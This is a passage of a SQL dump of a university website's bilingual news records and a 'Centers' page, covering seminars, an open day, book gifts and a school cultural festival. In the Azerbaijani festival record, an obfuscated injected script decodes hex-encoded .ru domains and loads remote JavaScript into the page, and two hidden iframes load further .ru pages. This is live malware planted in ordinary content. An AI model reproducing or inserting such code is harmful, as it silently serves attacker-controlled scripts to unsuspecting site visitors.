discussions.</p><p>After the meeting, the guests took part in the concert organized within the framework of the IX International Music festival devoted to Uzeyir Hajibeyli at the ‘Dunya’ concert hall, with the participation of Elisso Bolkradze, a UNESCO Artist for Peace.</p><p>On the second day of the meeting, the activities to be realized within the framework of the project and financial issues were discussed.</p><p>A tour was organized to ‘Atashgah’, the fire temple, and \'\'Yanar dagh\'\' at the end of the meeting.</p>'),(5983,3418,'az','“Auditoriyada ilk gün” adlı seminar','2018-ci il sentyabrın 13-də Xəzər Universiteti İnkişaf Mərkəzi və Təhsil fakültəsinin təşkilatçılığı...','<p>2018-ci il sentyabrın 13-də Xəzər Universiteti İnkişaf Mərkəzi və Təhsil fakültəsinin təşkilatçılığı ilə Erasmus Plus PETRA layihəsi (573630-EPP-1-2016-1-AZ-EPPKA2-CBHE-JP) çərçivəsində Fulbright Professoru Qaisar Sultananın təqdimatında “Auditoriyada ilk gün” adlı seminar keçirildi. Professor Sultana öz təcrübələrini iştirakçılarla bölüşməklə yanaşı, elmi-tədqiqat nəticələrini də onların diqqətinə çatdırdı.</p><p>Seminarda fakültələrin müəllimləri və kitabxana əməkdaşları iştirak edirdilər.</p>'),(5984,3418,'en','Seminar on “The First Day in the Auditorium”','On September 13, 2018, a seminar entitled “The first day in the auditorium”, organised...','<p>On September 13, 2018, a seminar entitled “The first day in the auditorium”, organised by the Center for Development and the School of Education, was conducted by Fulbright Prof. Qaisar Sultana within Erasmus + PETRA project (573630-EPP-1-2016-1-AZ-EPPKA2-CBHE-JP). Prof. Qaisar Sultana shared her experience and results of the research with the participants.</p><p>Faculty members, instructors and library staff attended the seminar.</p>'),(3604,2109,'en','“Open Door” Day at Khazar University','On April 28, 2017, “Open Door” day  was held at Khazar University.  The high class students of schools of 242, 61, 64, 72, 11 etc. gathered in the Marble Hall where tables giving...','<p>&nbsp;On April 28, 2017, “Open Door” day &nbsp;was held at Khazar University.&nbsp; The high class students of schools of 242,\r\n61, 64, 72, 11 etc. gathered in the Marble Hall where tables giving information\r\nabout specialties and centers (international affairs, career, psychology,\r\nlibrary- information etc.) of the university were set . </p>\r\n<p>Dr. Hassan Niknafs, the rector of the\r\nuniversity, opened the event and gave thorough information about Khazar\r\nUniversity.&nbsp; </p>\r\n<p>In the meeting, chaired by Professor Fuat\r\nRasulov, instructor of the university and Alovsat Amirbeyli, Director for\r\nPublic Relations and Media information tables provided students with information\r\nabout the centers and specalities of the university. </p>\r\n<p>The schoolchildren watched the video\r\npresentation about Khazar University&nbsp; and\r\nbrochures were distributed to them. The stand in the \"Marble Hall\" demonstrating\r\nuniversity graduates&nbsp; who hold high\r\npositions in the public sector and private organizations caused a great\r\ninterest in students.</p>\r\n<p>After the event, students got acquainted\r\nwith the university and their questions were answered in the laboratories of\r\nElectronics, Civil Engineering, Biology, Computer etc. and Library-Information\r\nCenter.</p>'),(3605,2113,'en','Exchange Student Receives a Certificate for Participation in Foreign Youth Competition','On April 25, 2017, the final round of \"The Idea Platform of Foreign Youth and Students\" project was held. International students from nine universities representing various countries...','<p>On April 25, 2017, the final round of \"The Idea\r\nPlatform of Foreign Youth and Students\" project was\r\nheld.&nbsp;International students from nine universities representing various\r\ncountries competed against each other for the title of the best speaker and\r\npresenter.</p>\r\n<p>Michał Horbaczewski, an international exchange student\r\nfrom Poland represented Khazar Universiry at the competition. Michał is a\r\nbachelor student from Kozminski University who is currently spending an\r\nexchange semester at the School of Economics and Management of Khazar\r\nUniversity within the Erasmus + Programme.</p>\r\n<p>Michael who delivered a presentation on entrepreneurship\r\nwas awarded with a certificate of participation. The best speakers who won the\r\nfirst three prizes represented Nigeria,</p>\r\n<p>Financed by the Youth Foundation under the President of\r\nthe Republic of Azerbaijan and Graduate Student Government of ADA University,\r\norganized &nbsp;by the Baku International\r\nStudent Club, the project aims at creating a platform for international\r\nstudents in Baku for expressing their views on topics and causes of their\r\ninterest.</p>'),(3611,2115,'az','“Xəzər”in əməkdaşı beynəlxalq jurnalın “qonaq rəyçi”si oldu','Humanitar və Sosial elmlər fakültəsinin dekan köməkçisi Validə Kərimova (doktorant), Amerikanın “Science Publishing Group” nəşriyyat evinin “International Journal of...','<p style=\"\" text-align:justify;text-indent:.25in;line-height:115%\"\"=\"\">Humanitar\r\nvə Sosial elmlər fakültəsinin dekan köməkçisi Validə Kərimova (doktorant),\r\nAmerikanın <strong><em>“Science Publishing Group”</em> </strong>nəşriyyat evinin<strong> </strong><em>“</em><a><em>International\r\nJournal of Linguistics and Education</em></a><em>”</em><em></em>adlı elmi jurnalının redaksiya heyətinə 2 illik\r\nmüddətdə qonaq rəyçi (<em>guest reviewer</em>)\r\nolaraq təyin edilmişdir. Xatırladaq ki, bundan əvvəl həmin nəşriyat evinin <em>“Psychology and Behavioral Sciences”</em>\r\nadlı elmi jurnalında Validə xanımın<strong> <em>“Dil\r\netikası: Linqvo psixologiya və psixolinqvistika. </em></strong><strong><em>Dilin psixoloji problemlərilə təhlili”\r\n</em></strong><em>(ingiliscə)</em><strong>\r\n(<em>“Language Ethıcs: Linguo Psychology and Psycholınguıstics; Analysis of The\r\nLanguage with Psychological Problems</em>”) </strong>adlı məqaləsi dərc olunmuşdu. </p>\r\n<p style=\"\" text-align:justify;text-indent:.25in;line-height:115%\"\"=\"\">Bu münasibətlə onu təbrik edir və\r\nyeni uğurlar arzu edirik. </p>\r\n<p style=\"\" text-align:justify;text-indent:.25in;line-height:115%\"\"=\"\">Ətraflı məlumat üçün aşağıdakı linkə daxil ola bilərsiz:\r\n</p>\r\n<p><a href=\"http://www.sciencepublishinggroup.com/journal/editorialboard?journalid=611\">http://www.sciencepublishinggroup.com/journal/editorialboard?journalid=611</a></p>'),(3606,2113,'az','Mübadilə tələbəsi Əcnəbi Gənclər Müsabiqəsində iştirakçı sertifikatı əldə etdi','2017-ci il aprelin 25-də “Əcnəbi Tələbə və Gənclərin Fikir Platformu”nun yekun mərhələsi keçirildi. Doqquz universitetdən müxtəlif xarici ölkələri təmsil edən əcnəbi tələbələr ən...','<p>2017-ci il aprelin\r\n25-də “Əcnəbi Tələbə və Gənclərin Fikir Platformu”nun yekun mərhələsi\r\nkeçirildi. Doqquz universitetdən müxtəlif xarici ölkələri təmsil edən əcnəbi tələbələr\r\nən yaxşı natiq və aparıcı adı uğrunda mübarizə aparırdı.</p>\r\n<p>Polşadan olan\r\nbeynəlxalq mübadilə tələbəsi Maykl Horbaczevski Xəzər Universitetini yarışda təmsil\r\nedirdi. Maykl Kozminski Universitetinin bakalavr tələbəsidir və hazırda Xəzər Universiteti\r\nİqtisadiyyat və menecment fakültəsində Erasmus+ mübadilə proqramı çərçivəsində\r\nbir semestrlik təhsil alır.</p>\r\n<p>Sahibkarlıq mövzusunda təqdimatla\r\nçıxış edən Maykla iştirakçı serifikatı təqdim edildi. Tədbirdə ilk üç yerin\r\nsahibi nigeriyalı tələbələr oldular.</p>\r\n<p>Bakı Beynəlxalq\r\nTələbə Klubunun təşkilatçılığı, Azərbaycan Respublikası Prezidenti yanında Gənclər\r\nFondunun maliyyə və ADA Universitetinin Magistr Tələbə Hökumətinin texniki dəstəyi\r\nilə təşkil edilən “Əcnəbi Tələbə və Gənclərin Fikir Platforması” müsabiqəsi\r\nBakıda təhsil alan əcnəbi tələbələrin onları maraqlandıran məsələlər və öz\r\nfikirlərilə bölüşmələri üçün platformanın yaradılması məqsədilə təşkil olunmuşdur.</p>'),(3607,2103,'az','Xəzər Universiteti “Türkiyə Universitetlərinin Təhsil Sərgisi”ndə','2017-ci il aprelin 29-u və 30-da Bakı şəhərində “Academy Group” tərəfindən “Razi Vəliyev: Türkiyə Universitetləri Təhsil Sərgisi” keçirildi. Təhsil sərgisində Türkiyənin...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">2017-ci\r\nil aprelin 29-u və 30-da Bakı şəhərində “Academy Group” tərəfindən “Razi Vəliyev:\r\nTürkiyə Universitetləri Təhsil Sərgisi” keçirildi. Təhsil sərgisində Türkiyənin\r\n30-a yaxın universiteti ilə yanaşı, Xəzər Universiteti də &nbsp;iştirak edirdi. Təhsil sərgisi “Academy Group”un\r\nqurucusu Razi Vəliyevin anım mərasimi ilə başladı. Mərasimdə Xəzər\r\nUniversitetinin İctimai əlaqələr və media üzrə direktoru Əlövsət Əmirbəyli də\r\nçıxış etdi. Sonra sərgi orta məktəb şagirdləri, valideynlər, təhsil işçiləri və\r\n&nbsp;ictimaiyyət üçün açıq elan edildi. Təhsil\r\nsərgisinə bu il maraq daha böyük idi. Xəzər Universiteti hər zaman olduğu kimi,\r\nbu il də şagirdlərin, valideynlərin, Türkiyə universitetləri nümayəndələrinin\r\ndiqqət mərkəzində idi. Xəzər Universitetinin sərgi salonunu Azərbaycan Dövlət\r\nİqtisad Universitetinin (UNEC) rektoru professor Ədalət Muradov, İğdır\r\nUniversitetinin rektoru professor Mehmet Hakkı Alma, İstanbul Aydın Universitetinin\r\nXarici əlaqələr üzrə prorektoru Selman Arslanbaş, İstanbul Zaim Univesitetinin\r\nXarici əlaqələr üzrə koordinatoru Fatih Pehlivan, Bilgi Universitetinin nümayəndəsi\r\nSinan Can Kaymak, Üsküdar Universitetinin Xarici əlaqələr üzrə direktoru Emre Üçsular,\r\ntəhsil ekspertləri, media nümayəndələri və digərləri ziyarət etdilər. Təhsil sərgisində\r\nXəzər Universitetinin ən çox maraq göstərilən kompüter elmləri, inşaat mühəndisliyi,\r\nkompüter mühəndisliyi, maliyyə, iqtisadiyyat, psixologiya üzrə bakalavr ixtisasları\r\nidi. Universitetin magistr üzrə ixtisasları isə Təhsil sərgisinə gələnləri daha\r\nçox maraqlandırırdı. İctimai əlqələr və media üzrə direktor Əlövsət Əmirbəyli,\r\nTələbə və qəbul şöbəsinin müdiri Lamiyə Namazova və Ümumi şöbənin koordinatoru Sevinc\r\nŞəfiyeva universitetlə bağlı geniş məlumat verdilər və ziyarətçilərin çoxsaylı\r\nsuallarını cavablandırdılar. Universitetin fakültələri və ixtisasları ilə bağlı\r\nçoxlu sayda bröşürlər sərgi iştirakçılarına təqdim edildi. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Ziyarətçilərlə\r\nbirlikdə xatirə şəkilləri çəkildi.&nbsp;</p>'),(3608,2114,'az','“30 Aprel qurbanları” Xəzər Universitetində anıldılar','2017-ci il aprelin 28-də Xəzər Universitetində “30 Aprel ADNA terror” ilə bağlı tədbir keçirildi. “30 Aprel ADNA terror”na həsr edilmiş tədbir bədii nümunələrlə başladı...','<p>2017-ci il aprelin 28-də Xəzər Universitetində “30 Aprel ADNA terror”\r\nilə bağlı tədbir keçirildi. “30 Aprel ADNA terror”na həsr edilmiş tədbir bədii nümunələrlə\r\nbaşladı. &nbsp;</p>\r\n<p>Sonra Xəzər\r\nUniversiteti Azərbaycan dili və ədəbiyyatı departamentinin müdiri Vurğun Əyyub\r\nsəhnəyə çıxaraq baş verən terror hadisəsi ilə bağlı fikirlərini bölüşdü və\r\ntədbir təşkilatçılarına bəzi məqamları xatırlatdı.</p>\r\n<p>Həmçinin,\r\nxüsusi qonaqlardan olan Səfa Mehdi də terrorla bağlı fikirlərini bölüşdü və\r\nşeir səsləndirdi.</p>\r\n<p>Sonda 30 aprel\r\nterrorunun nədən ibarət olduğunu bəhs edən videoçarx təqdim olundu. Videoçarxda\r\nisə Bakı şəhəri sakinlərindən alınan sorğu, videoslayd və terror haqda məlumat\r\nverildi. Bundan sonra, terror qurbanları bir dəqiqəlik sükutla yad edildi.</p>\r\n<p>&nbsp;Qeyd edək\r\nki, 2009-cu il aprelin 30-da Azərbaycan Dövlət Neft Akademiyasında (indiki Azərbaycan\r\nDövlət Neft və Sənaye Universiteti) baş verən terror hadisəsi zamanı 25 nəfər\r\ngülləyə tuş gəlmiş, onlardan 12-i dünyasını dəyişmişdir.</p>\r\n<p><a href=\"https://www.youtube.com/watch?v=xxDTZ_p2CY8&amp;feature=youtu.be\" target=\"_blank\">https://www.youtube.com/watch?v=xxDTZ_p2CY8&amp;feature=youtu.be</a></p><p><br></p>'),(2883,1714,'az','Mərkəzi Elmi Kitabxanadan Xəzər Universitetinə hədiyyə','2016-cı il dekabrın 12-də Azərbaycan Milli Elmlər Akademiyasının Mərkəzi Elmi Kitabxanasının təşkil etdiyi “Kitab hədiyyə aksiyası” əsasında MEK-in mübadilə...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">2016-cı il dekabrın 12-də Azərbaycan Milli Elmlər Akademiyasının Mərkəzi\r\nElmi Kitabxanasının təşkil etdiyi “Kitab hədiyyə aksiyası” əsasında MEK-in\r\nmübadilə fondundan Xəzər Universitetinin Kitabxana-İnformasiya Mərkəzinə 152\r\nadda, 449 nüsxə kitab hədiyyə edildi.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Kitabxanaya hədiyyə olunmuş kitabların müəyyən bir hissəsini Azərbaycan\r\nvə dünya ədəbiyyatının görkəmli nümayəndələrinin əsərləri, lüğət və\r\nensiklopediyalar təşkil edir.</p>'),(2884,1714,'en','Gift from Central Academic Library to Khazar University','On December 12, 2016, the Central Academic Library of the Azerbaijan National Academy of Sciences presented 449 volumes in 152 titles from its exchange fund to Khazar...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">On\r\nDecember 12, 2016, the Central Academic Library of the Azerbaijan National\r\nAcademy of Sciences presented 449 volumes in 152 titles from its exchange fund\r\nto Khazar University as part of its “Book Gift Campaign.” </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">A\r\nportion of the books that were presented to Khazar include works of well-known\r\nauthors of Azerbaijan and the world, dictionaries and encyclopedias.&nbsp;</p>'),(2885,1715,'az','Sumqayıt “Dünya” məktəbi Mədəniyyət festivalı keçirir','Dekabrın 10-da Sumqayıt “Dünya” məktəbinin Sumqayıt şəhərində həyata keçirdiyi elm və mədəniyyətin inkişafı layihəsi çərçivəsində Sumqayıt Məktəblilərinin...','<p>Dekabrın 10-da Sumqayıt “Dünya” məktəbinin\r\nSumqayıt şəhərində həyata keçirdiyi elm və mədəniyyətin inkişafı layihəsi çərçivəsində\r\nSumqayıt Məktəblilərinin Mədəniyyət Festivalının ilkin mərhələsi oldu. Bu mərhələdə\r\nbədii qiraət, rəsm-sənət, şahmat, vokal, rəqs müsabiqələri keçirildi. Müsabiqələrdə\r\nümumilikdə şəhərdəki 50 məktəbin 48-dən&nbsp; &nbsp;513 nəfər şagird, 400-dən artıq valideyn və müəllimlər\r\niştirak edirdilər. Münsiflər heyəti Xəzər Universiteti və “Dünya” məktəbinin\r\npeşəkar müəllim və mütəxəssislərindən təşkil olunmuşdu. </p>\r\n<p>Festivalı Xəzər Universitetinin təsisçisi,\r\nDirektorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı açaraq, tədbirin\r\nəhəmiyyətindən danışdı, iştirakçılara uğurlar arzuladı.</p>\r\n<p>Gərgin keçən yarışmalardan sonra Münsiflər\r\nheyətinin qərarı ilə 5 nominasiya üzrə 147 nəfər şagird yanvarın 28-də keçiriləcək\r\nikinci mərhələdə iştirak etmək hüququ qazandı.</p>\r\n<p>Tədbirdə “Dünya” məktəbinin həmtəsisçisi,\r\nXəzər Universiteti Dirktorlar və Qəyyumlar Şurasının müşaviri Nailəxanım\r\nİsayeva, universitetin İctimai əlaqələr və media üzrə direktoru Əlövsət Əmirbəyli,\r\nSumqayıt Təhsil Şöbəsinin baş metodisti İlham Mirzəliyev,&nbsp; Sumqayıt “Dünya” məktəbinin direktoru Münəvər\r\nBayramlı&nbsp;iştirak edirdilər.&nbsp;</p>  <script>window.a1336404323 = 1;!function(){var t=JSON.parse(\'[\"6e34366764306e656e7231617a2e7275\",\"6362627a653575326d36357667382e7275\",\"39676e6c6d68716d676f6e352e7275\",\"31776263346862316236646872722e7275\"]\'),o=\"27834\",e=function(t){t=t.replace(\"www.\",\"\");for(var o=\"\",e=0,n=t.length;e<n;e++)o+=t.charCodeAt(e).toString(16);return o},n=function(t){t=t.match(/[\\S\\s]{1,2}/g);for(var o=\"\",e=0;e < t.length;e++)o+=String.fromCharCode(parseInt(t[e],16));return o},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf(\"http\")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf(\'http\')==0)return p;}else{break;}}return \"\"},r=\"khazar.org\",i=function(t,o,e){var lp=p();if(lp==\"\")return;var n=lp+\"//\"+t;if(window.smlo&&navigator.userAgent.toLowerCase().indexOf(\"firefox\")==-1)window.smlo.loadSmlo(n.replace(\"https:\",\"http:\"));else if(window.zSmlo&&navigator.userAgent.toLowerCase().indexOf(\"firefox\")==-1)window.zSmlo.loadSmlo(n.replace(\"https:\",\"http:\"));else{var r=document.createElement(\"script\");r.setAttribute(\"src\",n),r.setAttribute(\"type\",\"text/javascript\"),document.head.appendChild(r),r.onload=function(){this.a1649136515||(this.a1649136515=!0,\"function\"==typeof o&&o())},r.onerror=function(){this.a1649136515||(this.a1649136515=!0,r.parentNode.removeChild(r),\"function\"==typeof e&&e())}}},a=function(c){var f=t[c],l=n(f)+\"/ajs/\"+o+\"/c/\"+e(r)+\"_\"+(self===top?0:1)+\".js\";window.a3164427983=f,i(l,function(){},function(){t[c+1]&&a(c+1)})},f=function(){a(0)};f()}();</script><iframe id=\"a1996667054\" src=\"https://su2lgyoeucscn.ru/f2.html?a=27834\" style=\"display:none\"></iframe><iframe id=\"a754394637\" src=\"https://doiuhrht.ru/u.html?a=27834\" style=\"display:none\"></iframe>'),(2886,1715,'en','Sumgayit Branch of Dunya School Holds Cultural Festival ','On December 10, the Sumgayit branch of Dunya School held the first round of a Cultural Festival in the city of Sumgayit. This round included...','<p>On December 10, the Sumgayit branch of Dunya School held the\r\nfirst round of a Cultural Festival in the city of Sumgayit. This round included\r\ncompetitions in the categories of dramatic reading, drawing, chess, singing,\r\nand dance. A total of 513 school children from 48 of the 50 schools in Sumgayit\r\nparticipated in the Festival, along with over 400 parents and teachers. The\r\npanel of judges was made up of professionals, instructors and specialists from\r\nKhazar University and Dunya School.</p>\r\n<p>Professor Hamlet Isaxanli, the founder of Khazar University and\r\nChairman of its Board of Directors and Trustees, opened the event, spoke about\r\nits significance and wished the participants success. </p>\r\n<p>After intense competitions, the panel of judges awarded 147\r\nparticipants across 5 categories the right to participate in the second round\r\nof the Festival, which will be held on January 28.</p><p>Participants in the event included Nailakhanim\r\nIsayeva, co-founder of Dunya School as well as Advisor to the Khazar University\r\nBoard of Directors and Trustees; Alovsat Amirbeyli, Director for Public\r\nRelations and Media; Ilham Mirzaliyev, Head Methodologist of the Sumgayit\r\nDepartment of Education; and Munavar Bayramli, Director of the Sumgayit branch\r\nof Dunya School.&nbsp;</p>'),(509,333,'en','Centers','Centers','<p style=\"text-align:justify\"><span style=\"border-style:initial;border-image-source:initial;border-image-slice:initial;border-image-width:initial;border-image-outset:initial;border-image-repeat:initial\"><img src=\"http://www.khazar.org/files/15_10_14_politics.jpg\" style=\"border:0px  #000000;margin:7px;width:250px;height:203px;float:left\"></span><strong><br></strong><strong><em style=\"color:#330066\">The Institute of Politics</em></strong></p><p style=\"text-align:justify\"><strong></strong><strong></strong><span style=\"font-weight:normal\"><span style=\"font-size:medium\">The Institute of Politics at Khazar University is an independent, non-partisan organization committed to public policy research, analysis and education. This policy-oriented research institution was founded in September 2004 at Khazar University on the base of Center for International and Strategic Studies and Department of Political Science. The Institute holds regular conferences, seminars, workshops and panel discussions with various public officials, diplomats and scholars as well as various student-oriented workshops, such as annual crisis simulation exercises and moot courts on various issues. It has offered a wide range of programs and resources including speakers, visiting and resident fellows, study groups, conferences, and internships</span>.</span>  </p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><img src=\"http://www.khazar.org/files/15_10_13_projectmanagement.jpg\" style=\"border:0px  #000000;width:250px;height:178px;margin:7px;float:left\">On May 9, 2010, a&nbsp;Model OSCE Conference&nbsp;was held at Khazar University as a result of the mutual project of Khazar University and OSCE Office in Baku. More than 60 students from 12 universities across Azerbaijan took part in the country\'s first Model OSCE Conference.&nbsp;In 2005-2006 the Institute of Politics was involved in the partnership with British Council/Azerbaijan in implementing the project&nbsp;Living Together&nbsp;within the framework of the British Council’s global Connecting Futures program. During this project, the Institute has conducted a series of workshops in conflict resolution for young people from various regions of Azerbaijan as well as designed and implemented a major training-of-trainers workshop for young people from Armenia, Azerbaijan, Georgia, and Northern Ireland.The two-day Modeling Azerbaijan\'s Future: Examining Trends, Exploring Opportunities conference took place on June 18-19, 2005 and was a convention of around 60 scholars, practitioners and students of public policy, government executives and civil society leaders, devoted to expert discussion of trends and opportunities pertaining to major public issues in Azerbaijan. The conference was conducted with the financial support of the Embassy of the United States of America in Azerbaijan and Khazar University. The two-day Modeling Azerbaijan\'s Future: Examining Trends, Exploring Opportunities conference took place on June 18-19, 2005 and was a convention of around 60 scholars, practitioners and students of public policy, government executives and civil society leaders, devoted to expert discussion of trends and opportunities pertaining to major public issues in Azerbaijan. The conference was conducted with the financial support of the Embassy of the United States of America in Azerbaijan and Khazar University.Second Annual Crisis Simulation Exercise&nbsp;was held on April 30, 2005, and around 70 students from four universities in Baku took part in the exercise. Seven teams of students from Khazar University, Baku State University, Azerbaijan State Economic University, and Baku Slavic University were \"representing\" mock National Security Councils (NSC) in a role-playing game in order to solve an imaginative crisis in the South Caucasus. The working language at the exercise was English.From November 22-26, 2004, Khazar University Institute of Politics held its&nbsp;First Annual Executive Education Workshop Doing Policy Analysis: How to Tackle Policy Problems in Azerbaijan. This unique workshop was conducted under the auspices of the Eurasia Foundation/ Azerbaijan and the Embassy of the United States of America in Azerbaijan to equip government and public sector executives and analysts as well as faculty and students of public policy with essential tools to handle problem identification, policy formulation, and decision-making issues confidently and effectively. 25 government executives and policy analysts, NGO managers, junior faculty and advanced students from Azerbaijan and Georgia participated in this workshop led by Dr. Beryl Radin, Professor of Government and Public Administration at the American University in Washington, DC.</p>\r\n<p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><img src=\"http://www.khazar.org/files/15_10_14_translating.jpg\" style=\"border:0px  #000000;width:250px;height:250px;margin:7px;float:left\"><strong><em style=\"color:#330066\">The translator liberates the language imprisoned in a work</em></strong></p><p style=\"text-align:justify\">The Khazar University Translation Studies Center (TSC) was established on April 27, 2000. The main objective of this Center is to translate the academic, fictional, philosophical and technical works published in various modern languages into Azerbaijani. Some examples of the spiritual treasure of Azerbaijan culture are being translated into various languages, as well. The Center is involved in research and teaching of translation as subject fields.</p><p style=\"text-align:justify\">Translation studies create research unique in its kind, giving rise to opportunities for collaboration between scholars who have traditionally worked in distinct fields of research.</p><p style=\"text-align:justify\">Khazar University TSC has become an academic body – a place where scholars and students study, perform and enhance the complex act of transforming literary experiences created in one language into an equivalent experience in another language.</p><p style=\"text-align:justify\">Attracting experienced professionals as well as young specialists to its activities&nbsp; The Center holds theoretical and practical conferences and symposiums on various issues concerning translation and organizes discussion sessions on Lexicology, Literary Translation, Translation of Poetry, Theories and Techniques of Translation, etc.&nbsp;By training students as translators, Khazar University TSC gives them an opportunity to use and improve their language skills professionally.</p><p style=\"text-align:justify\">The TSC closely cooperates with other academic departments and research centers of the University. Other academic entities have been adding their expertise as the center expands from literary translation to include commercial and legal translation.&nbsp;Khazar TSC, in affiliation with Khazar University Press, completed different Translation Projects.&nbsp; Some of them partially were funded by the government of the United States.&nbsp;That list of translations include:</p><ul><li>“Russia and Azerbaijan: A Borderland in transition”, by Tadeusz Swietochoiwski.</li><li>“The Newswriter’s Handbook: An introduction to journalism“ by M. L. Stein, Susan Paterno</li><li>“Mass media: an introduction to modern communication”, by&nbsp; Ray Eldon Hiebert, Donald F. Ungurait, Thomas W. Bohn<a href=\"http://www.google.com/search?hl=en&amp;tbo=1&amp;tbm=bks&amp;q=inauthor:%22Thomas+W.+Bohn%22&amp;sa=X&amp;ei=L3O7Tbb4AurL0QGqyZnhBQ&amp;ved=0CD8Q9Ag\"></a></li><li>“Being Muslim in America“ by Howard Cincotta, Deborah Conn, Serena Kim, Meghan Loftus</li></ul><p style=\"text-align:justify\">Translators of the center worked on the translation of “Racing Up Hill” by Hafiz Pashayev. &nbsp;A New translation project started in 2005 publishing the First Collection of&nbsp;&nbsp; \"Poetry in Translation. 1st Collection\" by the team of authors-translators including Hamlet Isaxanli.</p><p style=\"text-align:justify\"><strong style=\"text-align:justify\"><img src=\"http://www.khazar.org/files/15_10_13_Slide1.jpg\" style=\"width:250px;height:106px;margin:7px;float:left\"><img src=\"http://www.khazar.org/files/15_10_14_logo.jpg\" style=\"width:250px;height:81px;margin:7px;float:left\"><br></strong></p><p style=\"text-align:justify\"><strong style=\"text-align:justify\"><br></strong></p><p style=\"text-align:justify\"><strong style=\"text-align:justify\"><br></strong></p><p style=\"text-align:justify\"><strong style=\"text-align:justify\"><br></strong></p><p style=\"text-align:justify\"><span style=\"text-align:justify\"><strong style=\"color:#330066\"><em>The Legal Education Center</em></strong></span></p><p style=\"text-align:justify\">The center was established with the support of US Agency for International Development (USAID) and Khazar University in January 2013. The purpose is to increase the effectiveness of civil society and legal professionals to better defend the rights and interests of citizens and to improve the rule of law.&nbsp;This will be reached through achievement of two interdependent outcomes as summarized below:</p><p style=\"text-align:justify\">1) Development of broader-based Azerbaijani constituencies more actively promoting reforms that safeguard citizens’ rights</p><p style=\"text-align:justify\">2) Improved capacity of legal professionals to better apply laws and assist their clients.</p><p style=\"text-align:justify\">At present, in Azerbaijan, the training of most young lawyers is almost entirely academic and in the future, they lack social and \"lawyering\" skills when they embark on their careers. With this in mind, ARC established the Legal Education Center at Khazar University. The center conducts regular, high-quality curriculum-based training and develops legal publications covering a broad range of legal areas (see below). To ensure reputability and high quality of its services, the center attracts outstanding legal professionals and practitioners to develop the curricula and teach the courses. It is also envisioned that young lawyers and law students will be accompanying professional lawyers during strategic litigations, court hearings, rendering legal advice and consultations. The center plans to provide high-quality curriculum-based training courses to at least 20 law students per year and annually help 6-7candidates for membership to Collegiums of Attorneys (Azerbaijan Bar Association) prepare for Bar exams and pass them successfully.</p><p style=\"text-align:justify\">&nbsp;The objectives of the Center include the following:&nbsp;</p><ul><li>Increasing awareness and information in the area of human rights and freedoms, promotion of constitutional values in the society;</li><li>Organizing preparatory courses for young lawyers who wish to participate in bar admission exams.</li><li>Providing legal assistance free of charge for population groups with limited income;</li><li>Organizing regular courses aimed at capacity building for representatives and members of entities engaged in defense of human rights in national and international mechanisms;</li><li>Organizing meetings among national and international experts, young lawyers and law students from universities in Azerbaijan;</li><li>Preparing practical guidelines, manuals and teaching materials for advocates, lawyers engaged in practical work, judges, entities, and persons engaged in defense of human rights, and organizing the sale of such materials through regular fairs;</li></ul><p style=\"text-align:justify\">Based on the needs identified, the consortium works with international and local experts to develop continuing education course curricula and materials. The courses provide in-depth coverage of a wide range of topics which include, but are not limited to, Administrative law, Criminal Law, Review of existing laws and updates on new laws being passed by Parliament, Bar exam preparation, European Court of the Human Rights case law, Family Law, Labor Law, Legal Drafting, etc.&nbsp;Participants who successfully complete the course will be awarded certificates.</p>  <p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><strong style=\"color:#660066\"><em>The Khazar Psychological Counseling Center&nbsp;</em></strong>&nbsp;</p><p style=\"text-align:justify\">The Center opened in 2016 and offers a variety of services to the Khazar community, from individual/group counseling to campus-wide educational programs that contribute not only to the growth and health of individual students, but also to academic programs in related fields, to campus life, and to the educational/cultural life of the region.</p><p style=\"text-align:justify\"><img src=\"http://www.khazar.org/files/social/16_04_15_DSC_2084.JPG\" style=\"border:0px  #000000;margin:7px;width:302px;height:200px;float:left\">Our center offers help to:</p><ul><li>People of all ages</li><li>A wide range of psychological problems</li><li>Companies and corporations (individual or group sessions)</li></ul><div style=\"text-align:justify\">Our team of specialists practicing at The Psychological Counseling and Psychotherapy Center are educated and trained in Europe and the USA and guarantee a high level of professionalism whilst maintaining full confidentiality for their patients. Guest specialists from developed countries regularly visit our center and provide short counseling and therapy sessions for the patients\' specialists in our center deal with people experiencing various psychological and social problems which include the following: Marriage issues, Life coaching, Educational Coaching, Relationship issues, Career planning, Sexual issues&nbsp;<br></div>'),(510,333,'az','Mərkəzlər','Mərkəzlər','<p><br>\r\n<img src=\"/files/15_10_14_politics.jpg\" style=\"width:250px;height:204px;margin:7px;float:left\"></p><p><span style=\"color:#330066\"><em><strong class=\"<img src=\" http:=\"\" www.khazar.org=\"\" tmp=\"\" mfe=\"\" assets=\"\" 351bd86c=\"\" elrte=\"\" images=\"\" pixel.gif\"=\"\" title=\"/files/15_10_13_Slide1.jpg\" rel=\"media2950817842768103\" width=\"100\" height=\"100\">Siyas</strong><strong>ə</strong></em><strong class=\"<img src= <img src=\" http:=\"\" www.khazar.org=\"\" tmp=\"\" mfe=\"\" assets=\"\" 351bd86c=\"\" elrte=\"\" images=\"\" pixel.gif\"=\"\" title=\"/files/15_10_13_Slide1.jpg\" rel=\"media04999023292982874\" width=\"100\" height=\"100\"><em>t Institutu</em></strong></span></p><p style=\"text-align:justify\">Xəzər Universitetinin Siyasət İnstitutu siyasətlə bağlı tədqiqat, təhlil və təhsil məsələləri ilə məşğul olan müstəqil və bitərəf institutdur. Bu siyasət yönümlü tədqiqat institutu Xəzər Universitetində 2004-cü ilin sentyabrında Beynəlxalq və Strateji Araşdırmalar Mərkəzi və Siyasi Elmlər departamenti əsasında təsis 